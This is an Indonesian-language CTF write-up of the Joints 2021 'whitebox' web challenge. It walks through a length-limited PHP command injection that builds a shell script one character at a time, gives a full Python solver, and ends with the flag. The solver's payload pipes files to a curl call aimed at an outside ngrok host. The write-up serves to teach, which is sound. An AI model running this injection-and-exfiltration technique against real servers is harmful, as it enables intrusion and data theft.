[Joints 2021] whitebox

ctf, web

Diberikan soal dan sebuah website seperti berikut.

whitebox

Deskripsi
The power of echo

Source Code

<?php
	$whitebox = '/tmp/whitebox/' . md5('s4ltmD5d' . $_SERVER['REMOTE_ADDR']);
    @mkdir($whitebox);
    @chdir($whitebox);
    if (isset($_GET['echo']) && strlen($_GET['echo']) <= 1) {
        $cmd = 'echo -n ' . '"' . $_GET['echo'] . '" ';
        if (isset($_GET['echo1']) && strlen($_GET['echo1']) <= 3) {
            echo $cmd . $_GET['echo1'];
            exec($cmd . $_GET['echo1']);
        }
        echo $cmd;
        exec($cmd);
    } elseif (isset($_GET['sh']) && strlen($_GET['sh']) <= 1) {
        exec('sh ' . $_GET['sh']);
        echo "Command Executed";
    } elseif (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $whitebox);
        echo "Reset Successfully";
    } else{
        highlight_file(__FILE__);
    }

Yup! Benar. Jika dilihat seklias kita akan langsung terpaku pada beberapa function exec().
Pasti disini langsung terpikir vulnerability Command Injection, tetapi sebelum itu kita harus memenuhi beberapa condition terlebih dahulu, agar lebih mudah dimengerti saya membuat beberapa notes

Notes 1 #

Untuk dapat masuk ke function exec yang menjalankan command dari gabungan $cmd dan parameter echo1 dibawah

exec($cmd . $_GET['echo1']);

Kita harus memenuhi beberapa condition :

  1. Parameter echo harus kurang dari 1 atau persis 1
    if (isset($_GET['echo']) && strlen($_GET['echo']) <= 1) {
    

    Setelah itu $cmd akan berisi echo -n yang digabungkan dengan parameter echo kita

    $cmd = 'echo -n ' . '"' . $_GET['echo'] . '" ';
    


  2. Parameter echo1 kurang dari 3 atau persis 3
    if (isset($_GET['echo1']) && strlen($_GET['echo1']) <= 3) {
    

    Setelah itu akan di print gabungan $cmd dan parameter echo1.

    echo $cmd . $_GET['echo1'];
    

    Baru kita dapat masuk ke function exec.

Notes 2 #

Untuk dapat masuk ke function exec yang menjalankan binary sh dengan parameter sh pada code dibawah

exec('sh ' . $_GET['sh']);

Kita harus memenuhi kondisi ini

  1. Parameter sh harus kurang dari 1 atau persis 1
    elseif (isset($_GET['sh']) && strlen($_GET['sh']) <= 1) {
    

Notes 3 #

Function exec yang menghapus direktori $whitebox jika terdapat parameter reset

$whitebox = '/tmp/whitebox/' . md5('s4ltmD5d' . $_SERVER['REMOTE_ADDR']);

elseif (isset($_GET['reset'])) {
        exec('/bin/rm -rf ' . $whitebox);

Dari beberapa notes yang dicatat, bagaimana cara kita melakukan Command Injection, sedangkan input pada parameter hanya dibatasi 1-3? Cukup mustahil bukan?

Jika kita perhatikan kembali pada Notes 1, terdapat exec() yang menjalankan command echo -n yang dimana penjelasan pada halaman ini -n dimaksudkan do not append a newline. Jadi echo menambahkan “enter” atau new line secara default, dengan option -n ini, echo tidak menambahkan “enter” tersebut.

Juga kita dapat perhatikan pada kondisi kedua pada Notes 1, parameter echo1 dapat menerima input sepanjang 3 karakter. Sehingga kita dapat melakukan write file menggunakan Input Redirection

$_GET['echo'] = "a"
$_GET['echo1'] = ">>m"

$cmd = 'echo -n ' . '"' . $_GET['echo'] . '" ';
//$cmd = 'echo -n a';

exec($cmd . $_GET['echo1']);
//exec('echo -n a>>m');

Dicoba dirunning di local agar Lebih jelas

ryo@localhost:/tmp$
echo -n a>>m
ryo@localhost:/tmp$
cat m
aryo@localhost:/tmp$
echo -n k>>m
ryo@localhost:/tmp$
cat m
akryo@localhost:/tmp$
echo -n u>>m
ryo@abejads:/tmp$
cat m
akuryo@localhost:/tmp$

Dengan begitu kita dapat memanfaatkannya untuk membuat bash / sh file yang dapat dijalankan untuk mendapatkan flag. Agar lebih cepat dibuatlah solver dengan python script

import requests
print(requests.get("http://34.87.190.141:4000/?reset").text)

payload = 'cat /tmp/f* | curl https://6ce117df55f6.ngrok.io -d @-'
//mengirimkan semua file berawalan f pada /tmp/ ke url ngrok menggunakan curl

for i in payload:
	URL = "http://34.87.190.141:4000/"
	URL = URL + "?echo=" + i + "&echo1=>>m"
	r = requests.get(URL)
	
	print(r.text)

print(requests.get("http://34.87.190.141:4000/?sh=m").text)

Script python diatas pertama-tama melakukan delete directory menggunakan parameter reset (Notes 3), setelah itu dilakukan looping terhadap setiap karakter pada variable payload dan dikirimkan melalui parameter echo dengan isi dari parameter echo1 adalah >>m (Notes 1)

Setelah looping selesai, maka isi dari file m adalah isi dari variable payload. Lalu dilakukan eksekusi dengan sh pada file m yang dapat dilakukan dengan parameter sh=m (Notes 2)

Jalankan python solver dan didapakan flag

Flag

JOINTS21{f9441d99e84fec3543cb056f386dc65b}